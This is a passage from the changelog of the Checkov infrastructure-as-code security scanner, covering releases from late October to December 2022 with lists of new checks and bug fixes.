azure network address invalid value - [#4131](https://github.com/bridgecrewio/checkov/pull/4131)\n\n## [2.2.191](https://github.com/bridgecrewio/checkov/compare/2.2.186...2.2.191) - 2022-12-21\n\n### Feature\n\n- **general:** add the stack trace to the error message when caught by main.py - [#4121](https://github.com/bridgecrewio/checkov/pull/4121)\n- **sca:** add GCP Terraform resources for Image Referencer - [#4094](https://github.com/bridgecrewio/checkov/pull/4094)\n- **sca:** protecting checkov with try/catch wrapping - [#4104](https://github.com/bridgecrewio/checkov/pull/4104)\n\n### Bug Fix\n\n- **kubernetes:** removed obsolete error logging - [#4126](https://github.com/bridgecrewio/checkov/pull/4126)\n- **terraform:** fix azure dns invalid ip - [#4128](https://github.com/bridgecrewio/checkov/pull/4128)\n\n## [2.2.186](https://github.com/bridgecrewio/checkov/compare/2.2.180...2.2.186) - 2022-12-20\n\n### Feature\n\n- **general:** move the jsonpath try/catch up a level to catch more errors - [#3911](https://github.com/bridgecrewio/checkov/pull/3911)\n- **sca:** returning exit code 2 in case of error for downloading twistcli - [#4105](https://github.com/bridgecrewio/checkov/pull/4105)\n\n### Bug Fix\n\n- **dockerfile:** adjust the file abs path for Dockerfile graph results - [#4118](https://github.com/bridgecrewio/checkov/pull/4118)\n- **openapi:** fix an open API CKV_OPENAPI_6 check - [#4109](https://github.com/bridgecrewio/checkov/pull/4109)\n- **sca:** fixing integration tests - [#4117](https://github.com/bridgecrewio/checkov/pull/4117)\n- **terraform_plan:** use abs path for repo_root_for_plan_enrichment - [#4115](https://github.com/bridgecrewio/checkov/pull/4115)\n- **terraform:** CKV2_AZURE_21 changed blob access type to private - [#3898](https://github.com/bridgecrewio/checkov/pull/3898)\n- **terraform:** fix support for getting module-referenced resources context - [#4110](https://github.com/bridgecrewio/checkov/pull/4110)\n\n### Platform\n\n- **terraform:** add previous get_tf_definition_key function - [#4114](https://github.com/bridgecrewio/checkov/pull/4114)\n\n## [2.2.180](https://github.com/bridgecrewio/checkov/compare/2.2.172...2.2.180) - 2022-12-19\n\n### Feature\n\n- **general:** Use --no-fail-on-crash to gracefully exit commit_repository and setup_bridgecrew_credentials - [#4099](https://github.com/bridgecrewio/checkov/pull/4099)\n- **terraform_plan:** add check details to TF plan scan results - [#4091](https://github.com/bridgecrewio/checkov/pull/4091)\n- **terraform:** new azurerm checks - App config - [#3988](https://github.com/bridgecrewio/checkov/pull/3988)\n- **terraform:** Omit values from graph checks - [#4076](https://github.com/bridgecrewio/checkov/pull/4076)\n\n### Bug Fix\n\n- **general:** change env var name for no-fail-on-crash flag - [#4107](https://github.com/bridgecrewio/checkov/pull/4107)\n- **github:** Fix GHA IR resource names in case of 2 identical images - [#4108](https://github.com/bridgecrewio/checkov/pull/4108)\n- **terraform:** azurerm storage defaults - fix for storage case #3516 - [#4083](https://github.com/bridgecrewio/checkov/pull/4083)\n- **terraform:** fix nested module resources ids in the report - [#4098](https://github.com/bridgecrewio/checkov/pull/4098)\n\n## [2.2.172](https://github.com/bridgecrewio/checkov/compare/2.2.168...2.2.172) - 2022-12-18\n\n### Feature\n\n- **general:** Add no-fail-on-crash flag - [#4097](https://github.com/bridgecrewio/checkov/pull/4097)\n- **gha:** add fix for gha graphs and UT - [#4084](https://github.com/bridgecrewio/checkov/pull/4084)\n- **kubernetes:** inject k8s FF flags to instance instead of constructor - [#4096](https://github.com/bridgecrewio/checkov/pull/4096)\n\n### Bug Fix\n\n- **terraform:** add a method for get the entity definition path from the entity itself - [#4095](https://github.com/bridgecrewio/checkov/pull/4095)\n- **terraform:** add address attribute to all scanned terraform blocks - [#4074](https://github.com/bridgecrewio/checkov/pull/4074)\n\n## [2.2.168](https://github.com/bridgecrewio/checkov/compare/2.2.158...2.2.168) - 2022-12-15\n\n### Feature\n\n- **kubernetes:** Add kubernetes YAML checks to checkov packaging - [#4073](https://github.com/bridgecrewio/checkov/pull/4073)\n- **kubernetes:** move whorf to dedicated repo - [#4062](https://github.com/bridgecrewio/checkov/pull/4062)\n- **terraform_plan:** add Image Referencer for Terraform plan files - [#4063](https://github.com/bridgecrewio/checkov/pull/4063)\n- **terraform:** add CKV NCP rules about AutoScalingGroup, Load Balancer - [#3821](https://github.com/bridgecrewio/checkov/pull/3821)\n- **terraform:** add CKV NCP rules about Nat Gateways and Route - [#3854](https://github.com/bridgecrewio/checkov/pull/3854)\n- **terraform:** combine tf plan and tf graphs for nested modules - [#4066](https://github.com/bridgecrewio/checkov/pull/4066)\n- **terraform:** More azurerm checks for terraform - [#3970](https://github.com/bridgecrewio/checkov/pull/3970)\n\n### Bug Fix\n\n- **openapi:** Fix in PathSchemeDefineHTTP opeAPI check - [#4079](https://github.com/bridgecrewio/checkov/pull/4079)\n- **terraform:** CKV_AZURE_43 add new test case - [#4082](https://github.com/bridgecrewio/checkov/pull/4082)\n\n## [2.2.158](https://github.com/bridgecrewio/checkov/compare/2.2.155...2.2.158) - 2022-12-14\n\n### Feature\n\n- **github:** more CIS checks- part3  - [#4057](https://github.com/bridgecrewio/checkov/pull/4057)\n- **terraform:** Adding yaml based build time policies for corresponding PC run time policies - [#3962](https://github.com/bridgecrewio/checkov/pull/3962)\n\n### Bug Fix\n\n- **secrets:** fix secrets crash when secret is non string - [#4077](https://github.com/bridgecrewio/checkov/pull/4077)\n\n## [2.2.155](https://github.com/bridgecrewio/checkov/compare/2.2.148...2.2.155) - 2022-12-13\n\n### Feature\n\n- **github:**  more CIS checks- part2 - [#4017](https://github.com/bridgecrewio/checkov/pull/4017)\n- **kubernetes:** added CKV2_K8S_EXAMPLE_1 only in tests as an example for k8s graph check for pod which is publicly accessible - [#4060](https://github.com/bridgecrewio/checkov/pull/4060)\n- **kubernetes:** added deployment name to pod resource id - [#4040](https://github.com/bridgecrewio/checkov/pull/4040)\n- **sca:** fix root packages fixed version - [#4070](https://github.com/bridgecrewio/checkov/pull/4070)\n\n### Bug Fix\n\n- **sca:** invoke packaging.Version instead of parse - [#4065](https://github.com/bridgecrewio/checkov/pull/4065)\n- **secrets:** fix error when secret is None - [#4071](https://github.com/bridgecrewio/checkov/pull/4071)\n- **terraform:** checkov fix as resource container_group modified - [#4061](https://github.com/bridgecrewio/checkov/pull/4061)\n- **terraform:** fixed unexpected data for IAMPublicActionsPolicy - [#4067](https://github.com/bridgecrewio/checkov/pull/4067)\n- **terraform:** fixed unexpected data for MonitorLogProfileRetentionDays - [#4068](https://github.com/bridgecrewio/checkov/pull/4068)\n\n### Platform\n\n- **general:** Apply licensing from platform - [#3961](https://github.com/bridgecrewio/checkov/pull/3961)\n\n## [2.2.148](https://github.com/bridgecrewio/checkov/compare/2.2.139...2.2.148) - 2022-12-12\n\n### Feature\n\n- **gha:** Add gha graph infra - [#4058](https://github.com/bridgecrewio/checkov/pull/4058)\n- **gha:** add infra for gha graphs - [#4052](https://github.com/bridgecrewio/checkov/pull/4052)\n- **sca:**  fixed dependencies default value - [#4056](https://github.com/bridgecrewio/checkov/pull/4056)\n- **sca:** added indirect cves fix versions - [#4023](https://github.com/bridgecrewio/checkov/pull/4023)\n- **secrets:** Inject secrets omitter to runner registry - [#4054](https://github.com/bridgecrewio/checkov/pull/4054)\n- **terraform_plan:** support jsonpath queries in AWS IAM policy strings for Terraform plan - [#4033](https://github.com/bridgecrewio/checkov/pull/4033)\n- **terraform:** Extend secret attributes to omit mapping - [#4028](https://github.com/bridgecrewio/checkov/pull/4028)\n- **terraform:** tf plan combine graphs pass params - [#4051](https://github.com/bridgecrewio/checkov/pull/4051)\n\n### Bug Fix\n\n- **terraform:** add missing resource aws_route53_resolver_endpoint #3968 - [#3995](https://github.com/bridgecrewio/checkov/pull/3995)\n- **terraform:** fix getting local dest module path - [#4055](https://github.com/bridgecrewio/checkov/pull/4055)\n- **terraform:** Fix some errors in Dynamic Blocks rendering - [#4050](https://github.com/bridgecrewio/checkov/pull/4050)\n\n## [2.2.139](https://github.com/bridgecrewio/checkov/compare/2.2.130...2.2.139) - 2022-12-11\n\n### Feature\n\n- **graph:** Added `not_within` attribute solver for graph checks - [#4041](https://github.com/bridgecrewio/checkov/pull/4041)\n- **kubernetes:** Add CKV2_K8S_2 graph check for potential privilege escalation in `nodes/proxy` or `pods/exec` with `create` permissions - [#4034](https://github.com/bridgecrewio/checkov/pull/4034)\n- **kubernetes:** Add CKV2_K8S_3 no `impersonate` permissions for `ServiceAccount/Node` - [#4037](https://github.com/bridgecrewio/checkov/pull/4037)\n- **kubernetes:** Added CKV2_K8S_4 check to not allow modifying of services/status - [#4038](https://github.com/bridgecrewio/checkov/pull/4038)\n- **kubernetes:** Added CKV2_K8S_5 check that no service account or node can read all secrets - [#4042](https://github.com/bridgecrewio/checkov/pull/4042)\n- **secrets:** Accepting json reports from bucket in secrets_omitter - [#4039](https://github.com/bridgecrewio/checkov/pull/4039)\n- **terraform:** add CKV NCP rules about Route Table Association - [#3856](https://github.com/bridgecrewio/checkov/pull/3856)\n\n### Bug Fix\n\n- **kubernetes:** Corrected list format for yaml files in new k8s graph check tests - [#4035](https://github.com/bridgecrewio/checkov/pull/4035)\n- **secrets:** custom secret add support for value str and not only list - [#4024](https://github.com/bridgecrewio/checkov/pull/4024)\n- **terraform:** Fix in dot separator in the dynamic argument - [#4036](https://github.com/bridgecrewio/checkov/pull/4036)\n\n## [2.2.130](https://github.com/bridgecrewio/checkov/compare/2.2.124...2.2.130) - 2022-12-08\n\n### Feature\n\n- **general:** Apply policy-level suppressions as skipped checks - [#4020](https://github.com/bridgecrewio/checkov/pull/4020)\n- **github:** Add 3 CIS checks: 1.1.3, 1.1.8, 1.1.10 - [#4003](https://github.com/bridgecrewio/checkov/pull/4003)\n- **kubernetes:** Added CKV2_K8S_1 to ensure RoleBinding do not allow privilege escalation to a ServiceAccount/Node - [#4004](https://github.com/bridgecrewio/checkov/pull/4004)\n- **secrets:** Omit secrets from reports based on secrets reports - [#3991](https://github.com/bridgecrewio/checkov/pull/3991)\n- **secrets:** Omit secrets from reports based on secrets reports - [#4015](https://github.com/bridgecrewio/checkov/pull/4015)\n\n### Bug Fix\n\n- **github:** remove secrets from schema example - [#4019](https://github.com/bridgecrewio/checkov/pull/4019)\n- **terraform:** fix resource block address - [#4018](https://github.com/bridgecrewio/checkov/pull/4018)\n\n## [2.2.124](https://github.com/bridgecrewio/checkov/compare/2.2.116...2.2.124) - 2022-12-07\n\n### Feature\n\n- **sca:** change sca packages output to include dependencies structure - [#3957](https://github.com/bridgecrewio/checkov/pull/3957)\n- **secrets:** Adding check length for secret - [#3985](https://github.com/bridgecrewio/checkov/pull/3985)\n- **terraform:** nested modules support in graph - [#3935](https://github.com/bridgecrewio/checkov/pull/3935)\n\n### Bug Fix\n\n- **circleci:** fix executors in resource_id - [#4008](https://github.com/bridgecrewio/checkov/pull/4008)\n- **secrets:** Bump detect secrets version - [#3997](https://github.com/bridgecrewio/checkov/pull/3997)\n- **terraform:** Fix an issue in dynamic blocks - [#4006](https://github.com/bridgecrewio/checkov/pull/4006)\n- **terraform:** fix CKV_AWS_283 check - [#4005](https://github.com/bridgecrewio/checkov/pull/4005)\n- **terraform:** Fix CKV_AZURE_168 check - [#4000](https://github.com/bridgecrewio/checkov/pull/4000)\n- **terraform:** Fix some issues in dynamic blocks flow - [#4002](https://github.com/bridgecrewio/checkov/pull/4002)\n- **terraform:** Fix TF checks crashes - [#3992](https://github.com/bridgecrewio/checkov/pull/3992)\n\n## [2.2.116](https://github.com/bridgecrewio/checkov/compare/2.2.114...2.2.116) - 2022-12-06\n\n### Feature\n\n- **general:** Report failed attempts at reporting contributor metrics - [#3984](https://github.com/bridgecrewio/checkov/pull/3984)\n- **kubernetes:** create simple resources id for pods; allow enabling k8s graph features using env vars - [#3975](https://github.com/bridgecrewio/checkov/pull/3975)\n- **terraform:** check for insecure protocols - [#3958](https://github.com/bridgecrewio/checkov/pull/3958)\n- **terraform:** Check resource-based policies for public access - [#3989](https://github.com/bridgecrewio/checkov/pull/3989)\n- **terraform:** Dynamic Blocks support for loop in for_each attribute - [#3982](https://github.com/bridgecrewio/checkov/pull/3982)\n- **terraform:** new aks checks for Azure - [#3951](https://github.com/bridgecrewio/checkov/pull/3951)\n\n### Bug Fix\n\n- **dockerfile:** fix Dockerfile inline skip handling - [#3976](https://github.com/bridgecrewio/checkov/pull/3976)\n- **secrets:** fix_Record_code_block_secrets - [#3987](https://github.com/bridgecrewio/checkov/pull/3987)\n- **terraform:** azurerm kusto cluster encryption - wrong attribute tested for - [#3972](https://github.com/bridgecrewio/checkov/pull/3972)\n\n## [2.2.114](https://github.com/bridgecrewio/checkov/compare/2.2.112...2.2.114) - 2022-12-04\n\n### Feature\n\n- **terraform:** add CKV NCP rules about ncloud access control group rule - [#3860](https://github.com/bridgecrewio/checkov/pull/3860)\n\n### Bug Fix\n\n- **secrets:** fix Issue with 'NoneType' error in the custom detectors load_detectors - [#3973](https://github.com/bridgecrewio/checkov/pull/3973)\n\n### Platform\n\n- **terraform:** remove redundant exc_info for module without source - [#3974](https://github.com/bridgecrewio/checkov/pull/3974)\n\n## [2.2.112](https://github.com/bridgecrewio/checkov/compare/2.2.106...2.2.112) - 2022-12-01\n\n### Feature\n\n- **dockerfile:** add graph to Dockerfile - [#3948](https://github.com/bridgecrewio/checkov/pull/3948)\n- **terraform:** add CKV NCP rules about access control group Inbound rule. - [#3859](https://github.com/bridgecrewio/checkov/pull/3859)\n- **terraform:** Implement relative file path standard for tf plan file runs - [#3918](https://github.com/bridgecrewio/checkov/pull/3918)\n\n### Bug Fix\n\n- **general:** fix doc links on windows - [#3959](https://github.com/bridgecrewio/checkov/pull/3959)\n- **secrets:** Fix omitting of secrets that are json encoded - [#3964](https://github.com/bridgecrewio/checkov/pull/3964)\n- **terraform_plan:** Fix k8s checks edgecases for terraform plan - [#3966](https://github.com/bridgecrewio/checkov/pull/3966)\n- **terraform:** OCI Security Group Control Problem - [#3933](https://github.com/bridgecrewio/checkov/pull/3933)\n\n### Platform\n\n- **secrets:** remove the use of enable_secret_scan_all_files for custom secrets - [#3954](https://github.com/bridgecrewio/checkov/pull/3954)\n\n### Documentation\n\n- **terraform:** update Terraform modules docs - [#3965](https://github.com/bridgecrewio/checkov/pull/3965)\n\n## [2.2.106](https://github.com/bridgecrewio/checkov/compare/2.2.105...2.2.106) - 2022-11-30\n\n- no noteworthy changes\n\n## [2.2.105](https://github.com/bridgecrewio/checkov/compare/2.2.99...2.2.105) - 2022-11-29\n\n### Feature\n\n- **terraform:** add CKV NCP rules about Load Balancer Listener Using HTTPS - [#3858](https://github.com/bridgecrewio/checkov/pull/3858)\n- **terraform:** add CKV NCP rules about server instance and public IP - [#3857](https://github.com/bridgecrewio/checkov/pull/3857)\n- **terraform:** azurerm ACR check for retention policy - [#3927](https://github.com/bridgecrewio/checkov/pull/3927)\n\n## [2.2.99](https://github.com/bridgecrewio/checkov/compare/2.2.96...2.2.99) - 2022-11-27\n\n### Feature\n\n- **github:** add CIS checks part 1.  Most of the 1.1.x - [#3937](https://github.com/bridgecrewio/checkov/pull/3937)\n- **terraform:** Azure ACR Enable Image Quarantine - [#3925](https://github.com/bridgecrewio/checkov/pull/3925)\n- **terraform:** Azure use signed image in ACR - [#3923](https://github.com/bridgecrewio/checkov/pull/3923)\n\n### Bug Fix\n\n- **bicep:** ignore unresolvable properties for Bicep storage account checks - [#3946](https://github.com/bridgecrewio/checkov/pull/3946)\n- **gha:** added test for step with no step name - [#3945](https://github.com/bridgecrewio/checkov/pull/3945)\n\n## [2.2.96](https://github.com/bridgecrewio/checkov/compare/2.2.95...2.2.96) - 2022-11-26\n\n- no noteworthy changes\n\n## [2.2.95](https://github.com/bridgecrewio/checkov/compare/2.2.86...2.2.95) - 2022-11-24\n\n### Feature\n\n- **circleci:** add check for detecting images without check resource - [#3930](https://github.com/bridgecrewio/checkov/pull/3930)\n- **terraform:** ACR container scanning - [#3922](https://github.com/bridgecrewio/checkov/pull/3922)\n- **terraform:** add CKV NCP check about NKS(kubernetes) logging - [#3855](https://github.com/bridgecrewio/checkov/pull/3855)\n- **terraform:** Adding yaml based build time policies for corresponding PC run time policies - [#3900](https://github.com/bridgecrewio/checkov/pull/3900)\n\n### Bug Fix\n\n- **general:** update checks_metadata structure - [#3929](https://github.com/bridgecrewio/checkov/pull/3929)\n- **gha:** and circleci resource names  - [#3914](https://github.com/bridgecrewio/checkov/pull/3914)\n- **kubernetes:** Handle invalid helm chart meta - [#3939](https://github.com/bridgecrewio/checkov/pull/3939)\n- **sca:** fix related resource id for helm and kustomize - [#3931](https://github.com/bridgecrewio/checkov/pull/3931)\n- **terraform:** better check names to avoid confusion - addresses #3912 - [#3921](https://github.com/bridgecrewio/checkov/pull/3921)\n- **terraform:** CKV_AZURE_144 passes on defaults - [#3938](https://github.com/bridgecrewio/checkov/pull/3938)\n- **terraform:** Removed duplicate check CKV_AZURE_60 - [#3928](https://github.com/bridgecrewio/checkov/pull/3928)\n\n### Platform\n\n- **secrets:** Support custom detectors from the platform - [#3926](https://github.com/bridgecrewio/checkov/pull/3926)\n\n## [2.2.86](https://github.com/bridgecrewio/checkov/compare/2.2.84...2.2.86) - 2022-11-23\n\n### Feature\n\n- **terraform:** add CKV_AWS_282 to ensure that Redshift Serverless namespace is encrypted by KMS - [#3915](https://github.com/bridgecrewio/checkov/pull/3915)\n\n### Bug Fix\n\n- **terraform:** Remove cross variables edges duplications - [#3920](https://github.com/bridgecrewio/checkov/pull/3920)\n\n## [2.2.84](https://github.com/bridgecrewio/checkov/compare/2.2.80...2.2.84) - 2022-11-22\n\n### Feature\n\n- **general:** sign and push checkov image to GitHub registry - [#3906](https://github.com/bridgecrewio/checkov/pull/3906)\n- **secrets:** Add Terraform multiline secrets handling - [#3907](https://github.com/bridgecrewio/checkov/pull/3907)\n- **terraform:** ensure snapshots use encryption - [#3899](https://github.com/bridgecrewio/checkov/pull/3899)\n- **terraform:** support cross-modules edges - [#3909](https://github.com/bridgecrewio/checkov/pull/3909)\n\n## [2.2.80](https://github.com/bridgecrewio/checkov/compare/2.2.78...2.2.80) - 2022-11-21\n\n### Feature\n\n- **terraform:** add nested module address attribute - [#3904](https://github.com/bridgecrewio/checkov/pull/3904)\n\n## [2.2.78](https://github.com/bridgecrewio/checkov/compare/2.2.75...2.2.78) - 2022-11-20\n\n### Feature\n\n- **general:** add output format cyclonedx_json - [#3902](https://github.com/bridgecrewio/checkov/pull/3902)\n- **general:** add source to contributor metrics report - [#3905](https://github.com/bridgecrewio/checkov/pull/3905)\n\n### Bug Fix\n\n- **terraform:** Fix an edge case in AbsRDSParameter check  - [#3903](https://github.com/bridgecrewio/checkov/pull/3903)\n\n## [2.2.75](https://github.com/bridgecrewio/checkov/compare/2.2.72...2.2.75) - 2022-11-17\n\n### Feature\n\n- **github:** add output-file-path flag to checkov-action - [#3897](https://github.com/bridgecrewio/checkov/pull/3897)\n\n### Bug Fix\n\n- **terraform:** Dynamic blocks - added support for lookup null/true/false values - [#3893](https://github.com/bridgecrewio/checkov/pull/3893)\n\n### Platform\n\n- **sca:** added dependency tree format  - [#3892](https://github.com/bridgecrewio/checkov/pull/3892)\n\n## [2.2.72](https://github.com/bridgecrewio/checkov/compare/2.2.65...2.2.72) - 2022-11-16\n\n### Feature\n\n- **terraform:** add CKV NCP rules about NKSPublicAccess - [#3822](https://github.com/bridgecrewio/checkov/pull/3822)\n- **terraform:** Censor secrets from tfplan graph - [#3894](https://github.com/bridgecrewio/checkov/pull/3894)\n- **terraform:** create cross-variable edges between resources from the same module - [#3881](https://github.com/bridgecrewio/checkov/pull/3881)\n\n### Bug Fix\n\n- **general:** remove filter value validation - [#3896](https://github.com/bridgecrewio/checkov/pull/3896)\n- **terraform:** Fix dynamic blocks nested module - [#3890](https://github.com/bridgecrewio/checkov/pull/3890)\n- **terraform:** handle empty enabled_cluster_log_types list - [#3891](https://github.com/bridgecrewio/checkov/pull/3891)\n\n### Platform\n\n- **sca:** add scaCliScanId parameter - [#3789](https://github.com/bridgecrewio/checkov/pull/3789)\n\n## [2.2.65](https://github.com/bridgecrewio/checkov/compare/2.2.58...2.2.65) - 2022-11-15\n\n### Feature\n\n- **terraform:** test checks for any port access - [#3882](https://github.com/bridgecrewio/checkov/pull/3882)\n\n### Bug Fix\n\n- **terraform:** Fixing some broke flow in dynamic blocks rendering - [#3879](https://github.com/bridgecrewio/checkov/pull/3879)\n- **terraform:** Not adding dynamic blocks attributes to attributes - [#3872](https://github.com/bridgecrewio/checkov/pull/3872)\n\n### Platform\n\n- **general:** Support s3 client config for govcloud - [#3880](https://github.com/bridgecrewio/checkov/pull/3880)\n- **sca:** Add repoId to GET request - [#3876](https://github.com/bridgecrewio/checkov/pull/3876)\n- **sca:** Fix bom report - [#3867](https://github.com/bridgecrewio/checkov/pull/3867)\n- **sca:** Poll sca scan results using Polling API - [#3841](https://github.com/bridgecrewio/checkov/pull/3841)\n- **sca:** remove src from repo path - [#3884](https://github.com/bridgecrewio/checkov/pull/3884)\n\n## [2.2.58](https://github.com/bridgecrewio/checkov/compare/2.2.50...2.2.58) - 2022-11-14\n\n### Feature\n\n- **general:** number of words larger/less than or equal operators - [#3827](https://github.com/bridgecrewio/checkov/pull/3827)\n- **general:** remove env var for running contributor metrics report and add logs - [#3873](https://github.com/bridgecrewio/checkov/pull/3873)\n- **terraform:** add CKV NCP rules about Load Balancer Exposed to Internet - [#3819](https://github.com/bridgecrewio/checkov/pull/3819)\n- **terraform:** Mask secret values in Terraform plan file reports by resource - [#3868](https://github.com/bridgecrewio/checkov/pull/3868)\n- **terraform:** Support dynamic blocks with nested attributes - [#3869](https://github.com/bridgecrewio/checkov/pull/3869)\n\n### Bug Fix\n\n- **general:** Fixed operator name for number_of_words_derivaties - [#3875](https://github.com/bridgecrewio/checkov/pull/3875)\n- **terraform:** Fix dynamic attributes override each other - [#3866](https://github.com/bridgecrewio/checkov/pull/3866)\n\n## [2.2.50](https://github.com/bridgecrewio/checkov/compare/2.2.44...2.2.50) - 2022-11-13\n\n### Feature\n\n- **general:** add reporting contributor metrics - [#3823](https://github.com/bridgecrewio/checkov/pull/3823)\n- **terraform:** add CKV NCP rules about access key hard coding - [#3820](https://github.com/bridgecrewio/checkov/pull/3820)\n- **terraform:** NSGRulePortAccessRestricted - Remove the condition for dynamic blocks - [#3862](https://github.com/bridgecrewio/checkov/pull/3862)\n\n### Bug Fix\n\n- **kubernetes:** handle empty spec object in k8s templates - [#3865](https://github.com/bridgecrewio/checkov/pull/3865)\n- **openapi:** fixed error in invalid openapi template - [#3863](https://github.com/bridgecrewio/checkov/pull/3863)\n- **terraform:** app_service Upgrade tests and add web app resources - [#3838](https://github.com/bridgecrewio/checkov/pull/3838)\n- **terraform:** Handled nested unrendered vars - [#3853](https://github.com/bridgecrewio/checkov/pull/3853)\n\n## [2.2.44](https://github.com/bridgecrewio/checkov/compare/2.2.43...2.2.44) - 2022-11-11\n\n### Bug Fix\n\n- **terraform:** fix an issue with dynamics replacing a whole block - [#3846](https://github.com/bridgecrewio/checkov/pull/3846)\n\n## [2.2.43](https://github.com/bridgecrewio/checkov/compare/2.2.38...2.2.43) - 2022-11-10\n\n### Feature\n\n- **terraform:** Wrap render dynamic blocks flow with try except - [#3837](https://github.com/bridgecrewio/checkov/pull/3837)\n\n### Bug Fix\n\n- **bicep:** make ARM AKS checks compatible with Bicep - [#3836](https://github.com/bridgecrewio/checkov/pull/3836)\n- **cloudformation:** only parse valid tag key-pairs in CloudFormation - [#3835](https://github.com/bridgecrewio/checkov/pull/3835)\n- **general:** Clear details before next check run to avoid duplications in output - [#3711](https://github.com/bridgecrewio/checkov/pull/3711)\n\n## [2.2.38](https://github.com/bridgecrewio/checkov/compare/2.2.35...2.2.38) - 2022-11-09\n\n### Feature\n\n- **secrets:** add abstract multiline parser + implement multiline json parser - [#3799](https://github.com/bridgecrewio/checkov/pull/3799)\n- **terraform:** Support for nested dynamic modules - [#3813](https://github.com/bridgecrewio/checkov/pull/3813)\n\n### Bug Fix\n\n- **kubernetes:** fixed unexpected list object - [#3833](https://github.com/bridgecrewio/checkov/pull/3833)\n\n## [2.2.35](https://github.com/bridgecrewio/checkov/compare/2.2.31...2.2.35) - 2022-11-08\n\n### Feature\n\n- **general:** Added Number of Words operator - [#3801](https://github.com/bridgecrewio/checkov/pull/3801)\n- **terraform:** add CKV NCP rules about LBTargetGroupUsingHTTPS - [#3797](https://github.com/bridgecrewio/checkov/pull/3797)\n- **terraform:** add CKV NCP rules about NASEncrytionEnabled - [#3796](https://github.com/bridgecrewio/checkov/pull/3796)\n- **terraform:** Add Env Var for rendering Dynamic Blocks - [#3816](https://github.com/bridgecrewio/checkov/pull/3816)\n- **terraform:** Dynamic blocks breadcrumbs support - [#3814](https://github.com/bridgecrewio/checkov/pull/3814)\n- **terraform:** PC Policy Team Yaml Policies Check-in - [#3785](https://github.com/bridgecrewio/checkov/pull/3785)\n- **terraform:** PC-Policy-Team: Ensure GCP compute firewall ingress does not allow unrestricted access to all ports - [#3786](https://github.com/bridgecrewio/checkov/pull/3786)\n\n### Platform\n\n- **sca:** Run package scan using API - [#3812](https://github.com/bridgecrewio/checkov/pull/3812)\n\n## [2.2.31](https://github.com/bridgecrewio/checkov/compare/2.2.22...2.2.31) - 2022-11-07\n\n### Feature\n\n- **azure:** Add get resource names for azure_pipelines - [#3798](https://github.com/bridgecrewio/checkov/pull/3798)\n- **github:** add graph to GitHub Actions - [#3672](https://github.com/bridgecrewio/checkov/pull/3672)\n- **terraform:** add CKV NCP rules about LBListenerUsesSecureProtocols - [#3782](https://github.com/bridgecrewio/checkov/pull/3782)\n- **terraform:** Dynamic Modules Support map type - [#3800](https://github.com/bridgecrewio/checkov/pull/3800)\n- **terraform:** include pods of kubernetes_deployment in kubernetes_pod checks (1/4) - [#3691](https://github.com/bridgecrewio/checkov/pull/3691)\n- **terraform:** include pods of kubernetes_deployment in kubernetes_pod checks (2/4) - [#3702](https://github.com/bridgecrewio/checkov/pull/3702)\n- **terraform:** include pods of kubernetes_deployment in kubernetes_pod checks (3/4) - [#3703](https://github.com/bridgecrewio/checkov/pull/3703)\n- **terraform:** include pods of kubernetes_deployment in kubernetes_pod checks (4/4) - [#3738](https://github.com/bridgecrewio/checkov/pull/3738)\n\n### Bug Fix\n\n- **arm:** CKV_AZURE_9 & CKV_AZURE_10 - Scan fails if protocol value is a wildcard - [#3750](https://github.com/bridgecrewio/checkov/pull/3750)\n- **azure:** Remove redundant file path from resource name in azure pipelines - [#3818](https://github.com/bridgecrewio/checkov/pull/3818)\n- **secrets:** fix slow secrets scan in yaml files - [#3803](https://github.com/bridgecrewio/checkov/pull/3803)\n- **secrets:** fixed path of secrets tests to exclude - [#3817](https://github.com/bridgecrewio/checkov/pull/3817)\n- **terraform:** fix gke resource name not string - [#3811](https://github.com/bridgecrewio/checkov/pull/3811)\n\n### Platform\n\n- **general:** rationalize policy metadata error handling behavior - [#3795](https://github.com/bridgecrewio/checkov/pull/3795)\n- **sca:** add new sca package scan - [#3802](https://github.com/bridgecrewio/checkov/pull/3802)\n- **sca:** Extract checkov check links - [#3790](https://github.com/bridgecrewio/checkov/pull/3790)\n\n## [2.2.22](https://github.com/bridgecrewio/checkov/compare/2.2.21...2.2.22) - 2022-11-06\n\n### Feature\n\n- **kubernetes:** Create keyword and network policy edge builders - [#3763](https://github.com/bridgecrewio/checkov/pull/3763)\n\n## [2.2.21](https://github.com/bridgecrewio/checkov/compare/2.2.17...2.2.21) - 2022-11-03\n\n### Feature\n\n- **general:** add range_includes and inverted operator - [#3752](https://github.com/bridgecrewio/checkov/pull/3752)\n- **secrets:** Add multiline detection to entropy keyword combinator - [#3788](https://github.com/bridgecrewio/checkov/pull/3788)\n\n### Bug Fix\n\n- **terraform:** render list entries via modules correctly - [#3781](https://github.com/bridgecrewio/checkov/pull/3781)\n\n## [2.2.17](https://github.com/bridgecrewio/checkov/compare/2.2.15...2.2.17) - 2022-11-02\n\n### Feature\n\n- **terraform:** Add CKV_AWS_276 to ensure that API Gateway Method Settings data_trace_enabled is not set to True - [#3761](https://github.com/bridgecrewio/checkov/pull/3761)\n\n### Bug Fix\n\n- **terraform:** Fix `related_resource_id` for ImageReferencer in `external_module` - [#3780](https://github.com/bridgecrewio/checkov/pull/3780)\n\n### Documentation\n\n- **general:** Fix typo in docs - [#3694](https://github.com/bridgecrewio/checkov/pull/3694)\n\n## [2.2.15](https://github.com/bridgecrewio/checkov/compare/2.2.8...2.2.15) - 2022-10-31\n\n### Feature\n\n- **github:** split repo and org webhooks to separate files - [#3764](https://github.com/bridgecrewio/checkov/pull/3764)\n- **gitlab:** Adding image detection check to gitlab ci - [#3774](https://github.com/bridgecrewio/checkov/pull/3774)\n- **openapi:** pre-validate OpenAPI JSON files - [#3760](https://github.com/bridgecrewio/checkov/pull/3760)\n\n### Bug Fix\n\n- **azure:** Support .yaml extension - [#3767](https://github.com/bridgecrewio/checkov/pull/3767)\n- **github:** print the result again in GHA - [#3751](https://github.com/bridgecrewio/checkov/pull/3751)\n- **terraform:** reduce parsing time for large TF plan files - [#3757](https://github.com/bridgecrewio/checkov/pull/3757)\n\n## [2.2.8](https://github.com/bridgecrewio/checkov/compare/2.2.5...2.2.8) - 2022-10-30\n\n### Feature\n\n- **terraform:** add CKV2_AWS_40 to Ensure AWS IAM policy does not allow full IAM privileges - [#3712](https://github.com/bridgecrewio/checkov/pull/3712)\n\n### Platform\n\n- **general:** Get resources from platform and filter taggable resources for policies - [#3621](https://github.com/bridgecrewio/checkov/pull/3621)\n\n## [2.2.5](https://github.com/bridgecrewio/checkov/compare/2.2.0...2.2.5) - 2022-10-27\n\n### Feature\n\n- **graph:** add support for modules in graph checks - 